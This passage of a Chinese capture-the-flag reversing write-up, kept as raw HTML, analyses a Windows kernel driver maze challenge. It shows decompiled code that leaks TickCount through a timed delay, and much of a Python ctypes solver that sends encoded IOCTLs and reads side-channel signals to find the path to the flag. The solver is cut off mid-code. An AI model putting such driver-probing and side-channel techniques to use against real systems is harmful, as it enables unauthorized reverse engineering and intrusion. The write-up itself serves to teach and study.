leaf="">   handle_ok </span><span leaf="">=</span><span leaf=""><span class="code-snippet__literal">true</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">else</span></span><span leaf=""><br/></span><span leaf="">   handle_ok </span><span leaf="">=</span><span leaf=""><span class="code-snippet__literal">False</span></span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm61voq" style="font-size: 15px;">并且稳定观测到（我们测试到了前几步都是D，并且可以通过回环 DAD 走法来增加正确步骤的次数）。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6ajo"><span leaf="">- DAD + A</span><span leaf=""><br/></span><span leaf="">  - handle_ok = True</span><span leaf=""><br/></span><span leaf="">- DAD + W</span><span leaf=""><br/></span><span leaf="">  - handle_ok = False</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6pj6" style="font-size: 15px;"><span leaf="">⑤ KeDelayExecutionThread</span></span></h3><p><span mpa-font-style="moav6cm61e6u" style="font-size: 15px;"><span leaf="">这个的发现要归功于提交之前的几次测试，我感觉这个寻路没有道理这么慢，内核很可能有随机的，甚至是故意的延时，发现导入了函数</span><strong><span leaf="">KeDelayExecutionThread。</span></strong></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm620f6"><span leaf="">void</span><span leaf=""> __fastcall <span class="code-snippet__title">sub_1400026B4</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">unsigned</span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> *a1)</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sub_140002038</span>(a1);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sub_140002388</span>();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">JUMPOUT</span>(<span class="code-snippet__number">0x140001FF0</span>LL);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">void</span><span leaf=""> __fastcall <span class="code-snippet__title">sub_140002038</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">unsigned</span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> *a1)</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  _BYTE *v1; <span class="code-snippet__comment">// rdx</span></span><span leaf=""><br/></span><span leaf="">  __int64 v2; <span class="code-snippet__comment">// r8</span></span><span leaf=""><br/></span><span leaf="">unsigned</span><span leaf="">int</span><span leaf=""> v3; <span class="code-snippet__comment">// eax</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( a1 )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v1 = a1 + <span class="code-snippet__number">1</span>;</span><span leaf=""><br/></span><span leaf="">    v2 = <span class="code-snippet__number">56</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//MEMORY[0xFFFFF78000000320] == KUSER_SHARED_DATA + 0x320 == TickCountLowDeprecated</span></span><span leaf=""><br/></span><span leaf="">    v3 = TickCountLowDeprecated ^ <span class="code-snippet__number">0xBAADF00D</span>; </span><span leaf=""><br/></span><span leaf="">    *a1 = TickCountLowDeprecated ^ <span class="code-snippet__number">0xBAADF00D</span>; <span class="code-snippet__comment">// *(DWORD*)a1 = TickCount ^ 0xBAADF00D;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// drive 用来算 delay 的那个 TickCount 同时也被编码写进了返回缓冲</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">do</span></span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v3 = <span class="code-snippet__number">1103515245</span> * v3 + <span class="code-snippet__number">12345</span>;</span><span leaf=""><br/></span><span leaf="">      *v1++ = <span class="code-snippet__built_in">BYTE2</span>(v3);</span><span leaf=""><br/></span><span leaf="">      --v2;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> ( v2 );</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">NTSTATUS <span class="code-snippet__title">sub_140002388</span><span class="code-snippet__params">()</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">union</span> <span class="code-snippet__title">_LARGE_INTEGER</span> Interval; <span class="code-snippet__comment">// [rsp+30h] [rbp+8h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  Interval.QuadPart = <span class="code-snippet__number">-10000LL</span> * (TickCountLowDeprecated % <span class="code-snippet__number">50u</span> + <span class="code-snippet__number">10</span>); <span class="code-snippet__comment">//转换到毫秒 10~59ms</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">KeDelayExecutionThread</span>(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, &amp;Interval);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="moav6cm6138l" style="font-size: 15px;"><span leaf="">函数会通过</span><strong><span leaf="">KUSER_SHARED_DATA</span></strong><span leaf="">访问</span><strong><span leaf="">TickCountLowDeprecated</span></strong><span leaf="">，并且在异或后被编码进入返回缓冲，可以在用户层恢复被驱动使用的这个</span><strong><span leaf="">Tick</span></strong><span leaf="">值。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61kyl"><span leaf="">tick_xor</span><span leaf=""> = struct.unpack_from(<span class="code-snippet__string">&#34;&lt;I&#34;</span>, raw, <span class="code-snippet__number">0</span>)[<span class="code-snippet__number">0</span>]</span><span leaf=""><br/></span><span leaf="">tick</span><span leaf=""> = tick_xor ^ <span class="code-snippet__number">0</span>xBAADF00D</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm61vbn" style="font-size: 15px;">然后计算：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm616vp"><span leaf="">predicted_ms</span><span leaf=""> = (tick % <span class="code-snippet__number">50</span>) + <span class="code-snippet__number">10</span></span></code></pre></p><p><span mpa-font-style="moav6cm611co" style="font-size: 15px;"><span leaf="">就是理论上这个线路被延时的毫秒数，然后我们可以计算一个</span><strong><span leaf="">IO</span></strong><span leaf="">请求的耗时。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61goy"><span leaf=""> t0 = <span class="code-snippet__built_in">time</span>.perf_counter()</span><span leaf=""><br/></span><span leaf=""> DeviceIoControl(...)</span><span leaf=""><br/></span><span leaf=""> time_ms = (<span class="code-snippet__built_in">time</span>.perf_counter() - t0) * <span class="code-snippet__number">1000.0</span></span></code></pre></p><p><span mpa-font-style="moav6cm6gbj" style="font-size: 15px;"><span leaf="">如果</span><strong><span leaf="">predicted_ms</span></strong><span leaf="">和</span><strong><span leaf="">time_ms</span></strong><span leaf="">很接近，就能说明本次触发到了该泄漏点，但是更进一步，好像没有合适的办法确定到底是撞墙了还是成功了（从现有代码逻辑看是这样，向上的交叉引用又追不过去），其实也好办，我们能够观测到是不是触发了这个泄漏点，当观测到的时候，直接重试就好了，依赖前四个泄漏点做路线判断。</span></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6xsc" style="font-size: 15px;"><span leaf="">四、寻路算法并获取 Flag</span></span></h2><p><span leaf="" mpa-font-style="moav6cm65fi" style="font-size: 15px;">算法如下：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6vtl"><span leaf=""><span class="code-snippet__keyword">import</span> argparse</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">import</span> collections</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">import</span> ctypes</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">from</span> ctypes <span class="code-snippet__keyword">import</span> wintypes</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">import</span> struct</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">import</span> sys</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">import</span> time</span><span leaf=""><br/></span><span leaf="">kernel32 = ctypes.WinDLL(<span class="code-snippet__string">&#34;kernel32&#34;</span>, use_last_error=<span class="code-snippet__literal">True</span>)</span><span leaf=""><br/></span><span leaf="">ntdll = ctypes.WinDLL(<span class="code-snippet__string">&#34;ntdll&#34;</span>)</span><span leaf=""><br/></span><span leaf="">GENERIC_READ = <span class="code-snippet__number">0x80000000</span></span><span leaf=""><br/></span><span leaf="">GENERIC_WRITE = <span class="code-snippet__number">0x40000000</span></span><span leaf=""><br/></span><span leaf="">OPEN_EXISTING = <span class="code-snippet__number">3</span></span><span leaf=""><br/></span><span leaf="">FILE_ATTRIBUTE_NORMAL = <span class="code-snippet__number">0x80</span></span><span leaf=""><br/></span><span leaf="">INVALID_HANDLE_VALUE = wintypes.HANDLE(-<span class="code-snippet__number">1</span>).value</span><span leaf=""><br/></span><span leaf="">WAIT_OBJECT_0 = <span class="code-snippet__number">0x00000000</span></span><span leaf=""><br/></span><span leaf="">WAIT_TIMEOUT = <span class="code-snippet__number">0x00000102</span></span><span leaf=""><br/></span><span leaf="">HANDLE_FLAG_PROTECT_FROM_CLOSE = <span class="code-snippet__number">0x00000002</span></span><span leaf=""><br/></span><span leaf="">IOCTL_MOVE = <span class="code-snippet__number">0x80012004</span></span><span leaf=""><br/></span><span leaf="">IOCTL_RESET = <span class="code-snippet__number">0x80012008</span></span><span leaf=""><br/></span><span leaf="">IOCTL_QUERY = <span class="code-snippet__number">0x8001200C</span></span><span leaf=""><br/></span><span leaf="">WIN_MAGIC = <span class="code-snippet__number">0x57494E21</span></span><span leaf=""><br/></span><span leaf="">LEAK_WALL = <span class="code-snippet__number">0xC0DE0000</span></span><span leaf=""><br/></span><span leaf="">LEAK_OK = <span class="code-snippet__number">0xC0DE0001</span></span><span leaf=""><br/></span><span leaf="">LEAK_EXIT = <span class="code-snippet__number">0xC0DE0002</span></span><span leaf=""><br/></span><span leaf="">LEAK_POISON = <span class="code-snippet__number">0xDEADDEAD</span></span><span leaf=""><br/></span><span leaf="">DEVICE_NAME = <span class="code-snippet__string">r&#34;\\.\ShadowGate&#34;</span></span><span leaf=""><br/></span><span leaf="">EVENT_OK_NAME = <span class="code-snippet__string">r&#34;Global\MazeMoveOK&#34;</span></span><span leaf=""><br/></span><span leaf="">EVENT_WALL_NAME = <span class="code-snippet__string">r&#34;Global\MazeMoveWall&#34;</span></span><span leaf=""><br/></span><span leaf="">SEMAPHORE_OK_GUID = <span class="code-snippet__string">&#34;{A7F3B2C1-9E4D-4C8A-B5D6-1F2E3A4B5C6D}&#34;</span></span><span leaf=""><br/></span><span leaf="">SEMAPHORE_WALL_GUID = <span class="code-snippet__string">&#34;{B8E2C3D0-0F5A-5D9B-C6E7-2A3F4B5C6D7E}&#34;</span></span><span leaf=""><br/></span><span leaf="">DIRS = {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;W&#34;</span>: (<span class="code-snippet__number">0</span>, -<span class="code-snippet__number">1</span>),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;A&#34;</span>: (-<span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;S&#34;</span>: (<span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;D&#34;</span>: (<span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>),</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">INVERSE = {<span class="code-snippet__string">&#34;W&#34;</span>: <span class="code-snippet__string">&#34;S&#34;</span>, <span class="code-snippet__string">&#34;S&#34;</span>: <span class="code-snippet__string">&#34;W&#34;</span>, <span class="code-snippet__string">&#34;A&#34;</span>: <span class="code-snippet__string">&#34;D&#34;</span>, <span class="code-snippet__string">&#34;D&#34;</span>: <span class="code-snippet__string">&#34;A&#34;</span>}</span><span leaf=""><br/></span><span leaf="">MOVE_CODE = {<span class="code-snippet__string">&#34;W&#34;</span>: <span class="code-snippet__number">0x10</span>, <span class="code-snippet__string">&#34;A&#34;</span>: <span class="code-snippet__number">0x30</span>, <span class="code-snippet__string">&#34;S&#34;</span>: <span class="code-snippet__number">0x20</span>, <span class="code-snippet__string">&#34;D&#34;</span>: <span class="code-snippet__number">0x40</span>}</span><span leaf=""><br/></span><span leaf="">kernel32.CreateFileW.argtypes = [</span><span leaf=""><br/></span><span leaf="">    wintypes.LPCWSTR,</span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,</span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,</span><span leaf=""><br/></span><span leaf="">    wintypes.LPVOID,</span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,</span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,</span><span leaf=""><br/></span><span leaf="">    wintypes.HANDLE,</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">kernel32.CreateFileW.restype = wintypes.HANDLE</span><span leaf=""><br/></span><span leaf="">kernel32.DeviceIoControl.argtypes = [</span><span leaf=""><br/></span><span leaf="">    wintypes.HANDLE,</span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,</span><span leaf=""><br/></span><span leaf="">    wintypes.LPVOID,</span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,</span><span leaf=""><br/></span><span leaf="">    wintypes.LPVOID,</span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,</span><span leaf=""><br/></span><span leaf="">    ctypes.POINTER(wintypes.DWORD),</span><span leaf=""><br/></span><span leaf="">    wintypes.LPVOID,</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">kernel32.DeviceIoControl.restype = wintypes.BOOL</span><span leaf=""><br/></span><span leaf="">kernel32.CreateEventW.argtypes = [wintypes.LPVOID, wintypes.BOOL, wintypes.BOOL, wintypes.LPCWSTR]</span><span leaf=""><br/></span><span leaf="">kernel32.CreateEventW.restype = wintypes.HANDLE</span><span leaf=""><br/></span><span leaf="">kernel32.CreateSemaphoreW.argtypes = [</span><span leaf=""><br/></span><span leaf="">    wintypes.LPVOID,</span><span leaf=""><br/></span><span leaf="">    wintypes.LONG,</span><span leaf=""><br/></span><span leaf="">    wintypes.LONG,</span><span leaf=""><br/></span><span leaf="">    wintypes.LPCWSTR,</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">kernel32.CreateSemaphoreW.restype = wintypes.HANDLE</span><span leaf=""><br/></span><span leaf="">kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]</span><span leaf=""><br/></span><span leaf="">kernel32.WaitForSingleObject.restype = wintypes.DWORD</span><span leaf=""><br/></span><span leaf="">kernel32.ResetEvent.argtypes = [wintypes.HANDLE]</span><span leaf=""><br/></span><span leaf="">kernel32.ResetEvent.restype = wintypes.BOOL</span><span leaf=""><br/></span><span leaf="">kernel32.GetCurrentThread.argtypes = []</span><span leaf=""><br/></span><span leaf="">kernel32.GetCurrentThread.restype = wintypes.HANDLE</span><span leaf=""><br/></span><span leaf="">kernel32.GetHandleInformation.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.DWORD)]</span><span leaf=""><br/></span><span leaf="">kernel32.GetHandleInformation.restype = wintypes.BOOL</span><span leaf=""><br/></span><span leaf="">kernel32.SetHandleInformation.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.DWORD]</span><span leaf=""><br/></span><span leaf="">kernel32.SetHandleInformation.restype = wintypes.BOOL</span><span leaf=""><br/></span><span leaf="">kernel32.CloseHandle.argtypes = [wintypes.HANDLE]</span><span leaf=""><br/></span><span leaf="">kernel32.CloseHandle.restype = wintypes.BOOL</span><span leaf=""><br/></span><span leaf="">kernel32.SetLastError.argtypes = [wintypes.DWORD]</span><span leaf=""><br/></span><span leaf="">kernel32.SetLastError.restype = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CLIENT_ID</span>(ctypes.Structure):</span><span leaf=""><br/></span><span leaf="">    _fields_ = [(<span class="code-snippet__string">&#34;UniqueProcess&#34;</span>, wintypes.HANDLE), (<span class="code-snippet__string">&#34;UniqueThread&#34;</span>, wintypes.HANDLE)]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">THREAD_BASIC_INFORMATION</span>(ctypes.Structure):</span><span leaf=""><br/></span><span leaf="">    _fields_ = [</span><span leaf=""><br/></span><span leaf="">        (<span class="code-snippet__string">&#34;ExitStatus&#34;</span>, wintypes.LONG),</span><span leaf=""><br/></span><span leaf="">        (<span class="code-snippet__string">&#34;TebBaseAddress&#34;</span>, wintypes.LPVOID),</span><span leaf=""><br/></span><span leaf="">        (<span class="code-snippet__string">&#34;ClientId&#34;</span>, CLIENT_ID),</span><span leaf=""><br/></span><span leaf="">        (<span class="code-snippet__string">&#34;AffinityMask&#34;</span>, ctypes.c_size_t),</span><span leaf=""><br/></span><span leaf="">        (<span class="code-snippet__string">&#34;Priority&#34;</span>, wintypes.LONG),</span><span leaf=""><br/></span><span leaf="">        (<span class="code-snippet__string">&#34;BasePriority&#34;</span>, wintypes.LONG),</span><span leaf=""><br/></span><span leaf="">    ]</span><span leaf=""><br/></span><span leaf="">ntdll.NtQueryInformationThread.argtypes = [</span><span leaf=""><br/></span><span leaf="">    wintypes.HANDLE,</span><span leaf=""><br/></span><span leaf="">    wintypes.ULONG,</span><span leaf=""><br/></span><span leaf="">    wintypes.LPVOID,</span><span leaf=""><br/></span><span leaf="">    wintypes.ULONG,</span><span leaf=""><br/></span><span leaf="">    ctypes.POINTER(wintypes.ULONG),</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">ntdll.NtQueryInformationThread.restype = wintypes.LONG</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">WinError</span>(<span class="code-snippet__title">RuntimeError</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">pass</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">check_handle</span>(<span class="code-snippet__params">handle, what</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> handle <span class="code-snippet__keyword">in</span> (<span class="code-snippet__literal">None</span>, <span class="code-snippet__number">0</span>, INVALID_HANDLE_VALUE):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">raise</span> WinError(<span class="code-snippet__string">f&#34;</span></span><span leaf=""><span class="code-snippet__string">{what}</span></span><span leaf=""><span class="code-snippet__string"> failed, last_error=0x</span></span><span leaf=""><span class="code-snippet__string">{ctypes.get_last_error():08X}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> handle</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">ror8</span>(<span class="code-snippet__params">value, shift</span>):</span><span leaf=""><br/></span><span leaf="">    value &amp;= <span class="code-snippet__number">0xFF</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> ((value &gt;&gt; shift) | (value &lt;&lt; (<span class="code-snippet__number">8</span> - shift))) &amp; <span class="code-snippet__number">0xFF</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">encode_move_code</span>(<span class="code-snippet__params">move_code</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> ror8(move_code ^ <span class="code-snippet__number">0x5A</span>, <span class="code-snippet__number">5</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">current_teb_base</span>():</span><span leaf=""><br/></span><span leaf="">    tbi = THREAD_BASIC_INFORMATION()</span><span leaf=""><br/></span><span leaf="">    returned = wintypes.ULONG()</span><span leaf=""><br/></span><span leaf="">    status = ntdll.NtQueryInformationThread(</span><span leaf=""><br/></span><span leaf="">        kernel32.GetCurrentThread(),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>,</span><span leaf=""><br/></span><span leaf="">        ctypes.byref(tbi),</span><span leaf=""><br/></span><span leaf="">        ctypes.sizeof(tbi),</span><span leaf=""><br/></span><span leaf="">        ctypes.byref(returned),</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> status != <span class="code-snippet__number">0</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">raise</span> WinError(<span class="code-snippet__string">f&#34;NtQueryInformationThread failed, status=0x</span></span><span leaf=""><span class="code-snippet__string">{status &amp; </span><span class="code-snippet__number">0xFFFFFFFF</span><span class="code-snippet__string">:08X}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">int</span>(ctypes.cast(tbi.TebBaseAddress, ctypes.c_void_p).value)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">slot5_predicted_delay_ms</span>(<span class="code-snippet__params">raw</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">len</span>(raw) &lt; <span class="code-snippet__number">4</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">    tick_xor = struct.unpack_from(<span class="code-snippet__string">&#34;&lt;I&#34;</span>, raw, <span class="code-snippet__number">0</span>)[<span class="code-snippet__number">0</span>]</span><span leaf=""><br/></span><span leaf="">    tick = tick_xor ^ <span class="code-snippet__number">0xBAADF00D</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">float</span>((tick % <span class="code-snippet__number">0x32</span>) + <span class="code-snippet__number">10</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">slot5_timing_hit</span>(<span class="code-snippet__params">result, tolerance_ms=</span><span class="code-snippet__params"><span class="code-snippet__number">12.0</span></span>):</span><span leaf=""><br/></span><span leaf="">    sig = result[<span class="code-snippet__string">&#34;signals&#34;</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> sig[<span class="code-snippet__string">&#34;event_ok&#34;</span>] <span class="code-snippet__keyword">or</span> sig[<span class="code-snippet__string">&#34;event_wall&#34;</span>] <span class="code-snippet__keyword">or</span> sig[<span class="code-snippet__string">&#34;sem_ok&#34;</span>] <span class="code-snippet__keyword">or</span> sig[<span class="code-snippet__string">&#34;sem_wall&#34;</span>] <span class="code-snippet__keyword">or</span> sig[<span class="code-snippet__string">&#34;handle_ok&#34;</span>]:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">False</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> result[<span class="code-snippet__string">&#34;last_error&#34;</span>] <span class="code-snippet__keyword">in</span> (LEAK_OK, LEAK_WALL, LEAK_EXIT, LEAK_POISON):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">False</span></span><span leaf=""><br/></span><span leaf="">    predicted = result[<span class="code-snippet__string">&#34;slot5_predicted_ms&#34;</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> predicted <span class="code-snippet__keyword">is</span> <span class="code-snippet__literal">None</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">False</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">abs</span>(result[<span class="code-snippet__string">&#34;time_ms&#34;</span>] - predicted) &lt;= tolerance_ms</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ShadowGate</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__init__</span>(<span class="code-snippet__params">self</span>):</span><span leaf=""><br/></span><span leaf="">        self.handle = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self.event_ok = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self.event_wall = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self.sem_ok = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self.sem_wall = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self.slot4_probe = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self._teb_1748_slot = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self._teb_1748_old = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self.op_count = <span class="code-snippet__number">0</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">open</span>(<span class="code-snippet__params">self</span>):</span><span leaf=""><br/></span><span leaf="">        self.handle = check_handle(</span><span leaf=""><br/></span><span leaf="">            kernel32.CreateFileW(</span><span leaf=""><br/></span><span leaf="">                DEVICE_NAME,</span><span leaf=""><br/></span><span leaf="">                GENERIC_READ | GENERIC_WRITE,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">None</span>,</span><span leaf=""><br/></span><span leaf="">                OPEN_EXISTING,</span><span leaf=""><br/></span><span leaf="">                FILE_ATTRIBUTE_NORMAL,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">None</span>,</span><span leaf=""><br/></span><span leaf="">            ),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">f&#34;CreateFileW(</span></span><span leaf=""><span class="code-snippet__string">{DEVICE_NAME}</span></span><span leaf=""><span class="code-snippet__string">)&#34;</span>,</span><span leaf=""><br/></span><span leaf="">        )</span><span leaf=""><br/></span><span leaf="">        self.event_ok = self._ensure_event(EVENT_OK_NAME)</span><span leaf=""><br/></span><span leaf="">        self.event_wall = self._ensure_event(EVENT_WALL_NAME)</span><span leaf=""><br/></span><span leaf="">        self.sem_ok = self._ensure_semaphore(SEMAPHORE_OK_GUID)</span><span leaf=""><br/></span><span leaf="">        self.sem_wall = self._ensure_semaphore(SEMAPHORE_WALL_GUID)</span><span leaf=""><br/></span><span leaf="">        self._install_slot4_probe()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> self</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">close</span>(<span class="code-snippet__params">self</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> self._teb_1748_slot <span class="code-snippet__keyword">is</span> <span class="code-snippet__keyword">not</span> <span class="code-snippet__literal">None</span> <span class="code-snippet__keyword">and</span> self._teb_1748_old <span class="code-snippet__keyword">is</span> <span class="code-snippet__keyword">not</span> <span class="code-snippet__literal">None</span>:</span><span leaf=""><br/></span><span leaf="">            self._teb_1748_slot.value = self._teb_1748_old</span><span leaf=""><br/></span><span leaf="">        self._teb_1748_slot = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        self._teb_1748_old = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> attr <span 